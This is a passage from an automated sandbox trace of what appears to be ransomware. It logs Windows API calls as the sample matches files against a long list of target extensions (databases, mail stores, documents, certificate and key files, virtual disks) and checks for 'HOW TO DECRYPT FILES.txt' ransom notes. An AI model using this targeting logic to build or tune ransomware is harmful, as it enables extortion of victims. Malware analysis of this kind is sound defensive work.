HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.qif") returned 0 [0086.602] lstrlenA (lpString="*.qif") returned 5 [0086.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.mye") returned 0 [0086.602] lstrlenA (lpString="*.mye") returned 5 [0086.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.mbox") returned 0 [0086.602] lstrlenA (lpString="*.mbox") returned 6 [0086.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.eml") returned 0 [0086.602] lstrlenA (lpString="*.eml") returned 5 [0086.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.pst") returned 0 [0086.602] lstrlenA (lpString="*.pst") returned 5 [0086.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.ost") returned 0 [0086.602] lstrlenA (lpString="*.ost") returned 5 [0086.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.idx") returned 0 [0086.602] lstrlenA (lpString="*.idx") returned 5 [0086.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.dbx") returned 0 [0086.602] lstrlenA (lpString="*.dbx") returned 5 [0086.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.sql") returned 0 [0086.602] lstrlenA (lpString="*.sql") returned 5 [0086.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.mdb") returned 0 [0086.602] lstrlenA (lpString="*.mdb") returned 5 [0086.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.fdb") returned 0 [0086.603] lstrlenA (lpString="*.fdb") returned 5 [0086.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.wab") returned 0 [0086.603] lstrlenA (lpString="*.wab") returned 5 [0086.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.dat") returned 0 [0086.603] lstrlenA (lpString="*.dat") returned 5 [0086.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.txt") returned 0 [0086.603] lstrlenA (lpString="*.txt") returned 5 [0086.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.jpeg") returned 0 [0086.603] lstrlenA (lpString="*.jpeg") returned 6 [0086.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.jpg") returned 0 [0086.603] lstrlenA (lpString="*.jpg") returned 5 [0086.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.png") returned 0 [0086.603] lstrlenA (lpString="*.png") returned 5 [0086.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.php") returned 0 [0086.603] lstrlenA (lpString="*.php") returned 5 [0086.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.cs") returned 0 [0086.603] lstrlenA (lpString="*.cs") returned 4 [0086.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.cpp") returned 0 [0086.603] lstrlenA (lpString="*.cpp") returned 5 [0086.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.rar") returned 0 [0086.603] lstrlenA (lpString="*.rar") returned 5 [0086.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.zip") returned 0 [0086.604] lstrlenA (lpString="*.zip") returned 5 [0086.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.html") returned 0 [0086.604] lstrlenA (lpString="*.html") returned 6 [0086.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.htm") returned 0 [0086.604] lstrlenA (lpString="*.htm") returned 5 [0086.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.xlsx") returned 0 [0086.604] lstrlenA (lpString="*.xlsx") returned 6 [0086.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.xls") returned 0 [0086.604] lstrlenA (lpString="*.xls") returned 5 [0086.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.mp4") returned 0 [0086.604] lstrlenA (lpString="*.mp4") returned 5 [0086.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.ppt") returned 0 [0086.604] lstrlenA (lpString="*.ppt") returned 5 [0086.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.pptx") returned 0 [0086.604] lstrlenA (lpString="*.pptx") returned 6 [0086.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.doc") returned 0 [0086.604] lstrlenA (lpString="*.doc") returned 5 [0086.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.dot") returned 0 [0086.604] lstrlenA (lpString="*.dot") returned 5 [0086.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.docx") returned 0 [0086.605] lstrlenA (lpString="*.docx") returned 6 [0086.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.7z") returned 0 [0086.605] lstrlenA (lpString="*.7z") returned 4 [0086.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.tar") returned 0 [0086.605] lstrlenA (lpString="*.tar") returned 5 [0086.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.bz2") returned 0 [0086.605] lstrlenA (lpString="*.bz2") returned 5 [0086.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.gz") returned 0 [0086.605] lstrlenA (lpString="*.gz") returned 4 [0086.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.mkv") returned 0 [0086.605] lstrlenA (lpString="*.mkv") returned 5 [0086.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.eml") returned 0 [0086.605] lstrlenA (lpString="*.eml") returned 5 [0086.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.msg") returned 0 [0086.605] lstrlenA (lpString="*.msg") returned 5 [0086.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.edb") returned 0 [0086.605] lstrlenA (lpString="*.edb") returned 5 [0086.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.accdb") returned 0 [0086.606] lstrlenA (lpString="*.accdb") returned 7 [0086.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.odb") returned 0 [0086.606] lstrlenA (lpString="*.odb") returned 5 [0086.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.java") returned 0 [0086.606] lstrlenA (lpString="*.java") returned 6 [0086.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.asm") returned 0 [0086.606] lstrlenA (lpString="*.asm") returned 5 [0086.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.pfx") returned 0 [0086.606] lstrlenA (lpString="*.pfx") returned 5 [0086.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.pem") returned 0 [0086.606] lstrlenA (lpString="*.pem") returned 5 [0086.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.p12") returned 0 [0086.606] lstrlenA (lpString="*.p12") returned 5 [0086.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.gpg") returned 0 [0086.606] lstrlenA (lpString="*.gpg") returned 5 [0086.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.vsd") returned 0 [0086.606] lstrlenA (lpString="*.vsd") returned 5 [0086.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.odg") returned 0 [0086.606] lstrlenA (lpString="*.odg") returned 5 [0086.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.raw") returned 0 [0086.607] lstrlenA (lpString="*.raw") returned 5 [0086.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.nef") returned 0 [0086.607] lstrlenA (lpString="*.nef") returned 5 [0086.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.svg") returned 0 [0086.607] lstrlenA (lpString="*.svg") returned 5 [0086.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.psd") returned 0 [0086.607] lstrlenA (lpString="*.psd") returned 5 [0086.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.vmx") returned 0 [0086.607] lstrlenA (lpString="*.vmx") returned 5 [0086.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.vmdk") returned 0 [0086.607] lstrlenA (lpString="*.vmdk") returned 6 [0086.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.vdi") returned 0 [0086.607] lstrlenA (lpString="*.vdi") returned 5 [0086.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.lay6") returned 0 [0086.607] lstrlenA (lpString="*.lay6") returned 6 [0086.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.mpeg") returned 0 [0086.607] lstrlenA (lpString="*.mpeg") returned 6 [0086.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.djvu") returned 0 [0086.607] lstrlenA (lpString="*.djvu") returned 6 [0086.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.tiff") returned 0 [0086.608] lstrlenA (lpString="*.tiff") returned 6 [0086.608] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.backup") returned 0 [0086.608] lstrlenA (lpString="*.backup") returned 8 [0086.608] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.pdf") returned 0 [0086.608] lstrlenA (lpString="*.pdf") returned 5 [0086.608] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.cert") returned 0 [0086.608] lstrlenA (lpString="*.cert") returned 6 [0086.608] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.docm") returned 0 [0086.608] lstrlenA (lpString="*.docm") returned 6 [0086.608] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.xlsm") returned 0 [0086.608] lstrlenA (lpString="*.xlsm") returned 6 [0086.608] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.dwg") returned 0 [0086.609] lstrlenA (lpString="*.dwg") returned 5 [0086.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.nd") returned 0 [0086.609] lstrlenA (lpString="*.nd") returned 4 [0086.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.tlg") returned 0 [0086.609] lstrlenA (lpString="*.tlg") returned 5 [0086.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.lgb") returned 0 [0086.609] lstrlenA (lpString="*.lgb") returned 5 [0086.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.mov") returned 0 [0086.609] lstrlenA (lpString="*.mov") returned 5 [0086.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.xdw") returned 0 [0086.609] lstrlenA (lpString="*.xdw") returned 5 [0086.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.ods") returned 0 [0086.609] lstrlenA (lpString="*.ods") returned 5 [0086.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.wav") returned 0 [0086.609] lstrlenA (lpString="*.wav") returned 5 [0086.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.mp3") returned 0 [0086.609] lstrlenA (lpString="*.mp3") returned 5 [0086.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.aiff") returned 0 [0086.609] lstrlenA (lpString="*.aiff") returned 6 [0086.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.flac") returned 0 [0086.609] lstrlenA (lpString="*.flac") returned 6 [0086.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.m4a") returned 0 [0086.610] lstrlenA (lpString="*.m4a") returned 5 [0086.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp", pszSpec="*.csv") returned 0 [0086.610] lstrlenA (lpString="*.csv") returned 5 [0086.610] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x65408fc0, ftCreationTime.dwHighDateTime=0x1d5dc97, ftLastAccessTime.dwLowDateTime=0x8ebcd0a0, ftLastAccessTime.dwHighDateTime=0x1d5d7bc, ftLastWriteTime.dwLowDateTime=0x8ebcd0a0, ftLastWriteTime.dwHighDateTime=0x1d5d7bc, nFileSizeHigh=0x0, nFileSizeLow=0x749f, dwReserved0=0x0, dwReserved1=0x0, cFileName="kPE1tBdYr.bmp", cAlternateFileName="KPE1TB~1.BMP")) returned 1 [0086.610] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.610] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="kPE1tBdYr.bmp") returned -1 [0086.610] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="kPE1tBdYr.bmp") returned -1 [0086.610] lstrcmpiA (lpString1="", lpString2="kPE1tBdYr.bmp") returned -1 [0086.610] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hPHnjE.bmp") returned="hPHnjE.bmp" [0086.610] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.610] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.610] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.610] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.610] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="kPE1tBdYr.bmp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp" [0086.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.ems") returned 0 [0086.610] lstrlenA (lpString="*.ems") returned 5 [0086.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.db") returned 0 [0086.611] lstrlenA (lpString="*.db") returned 4 [0086.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.dbf") returned 0 [0086.611] lstrlenA (lpString="*.dbf") returned 5 [0086.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.myox") returned 0 [0086.611] lstrlenA (lpString="*.myox") returned 6 [0086.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.myo") returned 0 [0086.611] lstrlenA (lpString="*.myo") returned 5 [0086.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.qbw") returned 0 [0086.611] lstrlenA (lpString="*.qbw") returned 5 [0086.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.qbb") returned 0 [0086.611] lstrlenA (lpString="*.qbb") returned 5 [0086.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.qbm") returned 0 [0086.611] lstrlenA (lpString="*.qbm") returned 5 [0086.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.qbo") returned 0 [0086.611] lstrlenA (lpString="*.qbo") returned 5 [0086.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.qbx") returned 0 [0086.611] lstrlenA (lpString="*.qbx") returned 5 [0086.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.qba") returned 0 [0086.611] lstrlenA (lpString="*.qba") returned 5 [0086.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.qby") returned 0 [0086.612] lstrlenA (lpString="*.qby") returned 5 [0086.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.qbj") returned 0 [0086.612] lstrlenA (lpString="*.qbj") returned 5 [0086.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.ofx") returned 0 [0086.612] lstrlenA (lpString="*.ofx") returned 5 [0086.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.qif") returned 0 [0086.612] lstrlenA (lpString="*.qif") returned 5 [0086.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.mye") returned 0 [0086.612] lstrlenA (lpString="*.mye") returned 5 [0086.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.mbox") returned 0 [0086.612] lstrlenA (lpString="*.mbox") returned 6 [0086.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.eml") returned 0 [0086.612] lstrlenA (lpString="*.eml") returned 5 [0086.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.pst") returned 0 [0086.612] lstrlenA (lpString="*.pst") returned 5 [0086.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.ost") returned 0 [0086.612] lstrlenA (lpString="*.ost") returned 5 [0086.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.idx") returned 0 [0086.612] lstrlenA (lpString="*.idx") returned 5 [0086.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.dbx") returned 0 [0086.612] lstrlenA (lpString="*.dbx") returned 5 [0086.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.sql") returned 0 [0086.613] lstrlenA (lpString="*.sql") returned 5 [0086.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.mdb") returned 0 [0086.613] lstrlenA (lpString="*.mdb") returned 5 [0086.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.fdb") returned 0 [0086.613] lstrlenA (lpString="*.fdb") returned 5 [0086.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.wab") returned 0 [0086.613] lstrlenA (lpString="*.wab") returned 5 [0086.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.dat") returned 0 [0086.613] lstrlenA (lpString="*.dat") returned 5 [0086.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.txt") returned 0 [0086.613] lstrlenA (lpString="*.txt") returned 5 [0086.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.jpeg") returned 0 [0086.613] lstrlenA (lpString="*.jpeg") returned 6 [0086.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.jpg") returned 0 [0086.613] lstrlenA (lpString="*.jpg") returned 5 [0086.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.png") returned 0 [0086.613] lstrlenA (lpString="*.png") returned 5 [0086.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.php") returned 0 [0086.613] lstrlenA (lpString="*.php") returned 5 [0086.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.cs") returned 0 [0086.613] lstrlenA (lpString="*.cs") returned 4 [0086.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.cpp") returned 0 [0086.614] lstrlenA (lpString="*.cpp") returned 5 [0086.614] PathMatchSpecA 